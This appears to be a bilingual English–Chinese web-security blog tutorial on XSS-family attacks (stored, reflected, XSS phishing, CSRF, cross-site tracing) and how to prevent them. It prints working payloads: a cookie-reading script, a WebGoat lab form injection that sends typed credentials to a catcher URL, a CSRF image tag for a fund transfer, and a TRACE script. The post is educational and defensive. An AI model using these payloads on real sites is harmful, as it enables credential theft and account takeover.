5 XSS Exploits You Should Know About

http://deadlytechnology.com/web-development/xss/

Following on from my HTTP Splitting post, this post rounds up 5 common cross site scripting (xss) attacks and how to prevent them.

• Stored XSS
• Reflected XSS
• XSS Phishing
• CSRF (Cross Site Request Forgery)
• XST Cross Site Tracing
• Preventing XSS

Stored XSS

Basic XSS exploits often take 2 forms:

• Stored XSS
• Reflected XSS

Stored xss essentially means the code to exploit the vulnerability is stored on the targetand can then be retrieved and executed consistently. Stored often means saved in the database on the target server.

存储型xss指将利用漏洞的代码存储在目标机器上，可以持续的返回并执行。常存储在目标机器的数据库中。

An excellent example of stored cross site scripting is the recent Mikeyy Stalk Daily worm attack on Twitter.  Mikeyy's code was stored in the profile data for twitter users and was subsequenty executed every time that profile data was requested/viewed in a web browser.

Exploiting a stored xss vulnerability is fairly straight forward once you have found one, it often involves saving some javascript in a database via an unsecured web form. The attack will most likely involve the browser executing some javascript that has been stored.

挖掘xss漏洞方法较直接，该漏洞多发生在不安全的网页表单将Javascript存储在数据库中。攻击可能发生的前提：浏览器执行存储的javascript。

Entering the following javascript into an input field has the access cookie data for the current logged in user:

<script language="javascript" type="text/javascript">alert(document.cookie);</script>

If this data is then saved to the database, each request to view the data (if not properly encoded into HTML entities) will execute the javascript. Coupling this data with an AJAX request to send the cookie data to an attackers server elevates this attack to the next level whereby the attacker could use the cookie data to gain access to the user account.

如果数据被存入数据库，每次请求查看该数据都会执行javascript。使用AJAX请求处理数据发送cookie数据至攻击者服务器提升攻击者的权限，那么攻击者可以使用cookie数据访问用户账户。

Reflected XSS

Reflected cross site scripting vulnerabilities are exploited in much the same way as stored XSS. The only difference being that the script used to attack the site is not stored on the target, instead reflected by the sites own functionality.

挖掘反射型xss漏洞同挖掘存储型xss漏洞的方法类似。唯一的不同是攻击网站的脚本不存储在目标机上，而是由网站自己的函数反射。

An example of reflected XSS is the XSS Phishing attack, whereby a form on the website is exploited to instruct a web page to execute our javascript code. This code is not stored on the target server, the only way to execute the javascript is to submit the form again with the same parameters.

反射型xss的例子是xss钓鱼攻击，xss钓鱼攻击指网站上的表单被利用指示网页执行javascript代码。代码不存储在目标服务器上，执行脚本的唯一方式是使用相同的参数重新提交表单。

This may seem somewhat limited in comparison to stored xss attacks, but considering an attacker has the ability to form URLs which will submit POST and GET data to any given URL this becomes a handy method to invoke the attack. A user must visit this URL in order to execute the script in their browser, so the URL must be actively distributed as opposed to the stored xss attack.

同存储式xss攻击相比有一定局限性，但是如果攻击者可以构造URL，该URL提交POST和GET数据至任何URL，那么对于攻击来说这是一个方便的方法。用户必须访问URL才能在浏览器中执行脚本，所以相对于存储型XSS攻击，该URL必须是可用的。

XSS Phishing

Phishing is essentially laying bait and waiting for an unsuspecting user to bite. Often taking the form of spoofed websites a phishing attack regularly replicates the look and feel of a website which includes perhaps a form that a user fills in to accomplish some task, such as logging in.

钓鱼是放下诱饵等待用户咬钩。钓鱼攻击常复制攻击网站的形式，包括一些用户需要填写的表单以完成某些任务，如登录等。

Phishing relies upon appearing to be a valid website and tricking a user to enter personal data, which will then be sent to the phisherman. As such phishing attacks are usually fairly easy to spot by looking at the URL bar, which of course will need to be different to that of the target website.

钓鱼依赖于看上去有效的网站并诱导用户输入私人数据，这些数据会被发送给钓鱼者。因为钓鱼网站与目标网站有不同，所以钓鱼攻击常容易通过查看URL地址栏分辨出。

Using cross site scripting to perform a phishing attack is a lot harder to spot because the phishing page is hosted on the website itself. The URL will be that of the replicated website.

使用xss进行钓鱼攻击较难被发现，因为钓鱼页面挂载在网站上。URL将是复制的网站。

This WebGoat test revolves around a simple form with a basic input which can be used to exploit XSS vulnerablilities (as with all of the XSS WebGoat tutorials).

To demonstrate the default behaviour of the form...

Input:
test

Request:

POST http://127.0.0.1:8080/WebGoat/attack?Screen=13&menu=900 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1:8080/WebGoat/attack?Screen=13&menu=900
Cookie: xxxx; sessionid=xxxx
Authorization: xxxx
Content-Type: application/x-www-form-urlencoded
Content-length: 27

Username=test&SUBMIT=Search

The default behaviour is to take the input from the form and display it directly on the page, without scrubbing the data on the server or encoding the data into HTML entites before displaying it on the client.

A snippet of resulting HTML resembles:

<br><hr><br>Results for: test
<!-- Search results -->
<br><br><b>
No results were found.
</b>
<!-- End of Search results -->

This is the vulnerability that can be exploited to create a phishing page on the website itself by replacing the "test" input with input similar to below.

Input:

<form>
<br><br><HR>
<H3>This feature requires account login:</H3 >
<br><br>
Enter Username:<br>
<input type="text" id="user" name="user"><br>
Enter Password:<br>
<input type="password" name = "pass"><br>
</form>
<br><br><HR>

The resulting page will execute the HTML code and display a form to the page. The result appears to be a bonafide login form and because it is hosted on the same domain as the site being attacked it is very difficult to recognise as a phishing attack.

This form alone does nothing malicious, however appending a submit button to the form and attaching a javascript event handler is a fairly straight forward modification of the attack and creates numerous opportunities for phishing attackers.

Input:

<script>
function hack(){
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR>
<H3>This feature requires account login:</H3 >
<br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login"  /></form>
<br><br><HR>

Cross Site Request Forgery CSRF

CSRF is an attack whereby the target user's browser is tricked into requesting a particular URL. If a cookie exists on the user's machine for that URL then the cookie data will be passed with the request.This allows malicious URLs to be executed which may perform actions logged in on the user's account, an example being transferring data from a banking account.

CSRF攻击指目标用户浏览器被欺骗请求特定的URL。如果用户的机器上存在访问URL的cookie信息，那么cookie信息会随请求一起发送。恶意的URl就可以执行并以用户的账户登录进行操作。如从银行账户中传输数据。

A method of invoking this attack is including a very small image in an HTML email whose src attribute is the URL that will perform the actions on the remote website.

When a browser requests this URL in order to display the image the cookie data for the URL is passed in order to perform its tasks. This is one excellent reason displaying images is no longer the default behaviour for numerous web based email readers.

Sample Code:

<img src="http://bank.com/?transferFunds=5000" width="1" height="1" />

Cross Site Tracing XST

This attack can be performed when a server is configured to accept the HTTP TRACE command. This command asks a web server to echo back the contents of the request in the body of the TRACE response. The data returned may include sensitive data such as cookie data which was included in the header of the original request.

Sample code:

<script type="text/javascript">
if ( navigator.appName.indexOf("Microsoft") !=-1)
{
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "./", false);
xmlHttp.send();
str1=xmlHttp.responseText;
 
while (str1.indexOf(“\n”) > -1) str1 = str1.replace(“\n”,”<br>”);
document.write(str1);
}
</script>

Preventing XSS

Preventing Stored and Reflected XSS is fairly straight forward and considered standard practice in modern web development.

• Prevention at the server by scrubbing input passed to the server
• Prevention at the browser by HTML encoding output before executing

Additionally, Microsoft introduced a new cookie attribute: "HttpOnly" in an attempt to mitigate common xss threats. Simply put, if this flag is set then javascript is not able to access cookie information. Many browsers are now adopting this attribute.

Preventing CSRF attacks is more complicated. The essence of the problem is that the browser appears to be an authenticated user to the server, but is in fact acting on its own.

Adding a random key to form data which need to match the key set on the server helps to ensure that an authenticated user is controlling the browser. Frameworks such as cakePHP implement this technique out of the box which is handy.

Preventing Cross Site Tracing using straight forward mod_rewrite rules:

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]" - deadlytechnology.com

Resources:

• OWASP
• WebGoat
• Browsers supporting HTTP Only
• Definition of HTTP TRACE
• HTTP TRACE prevention
• Preventing CSRF attacks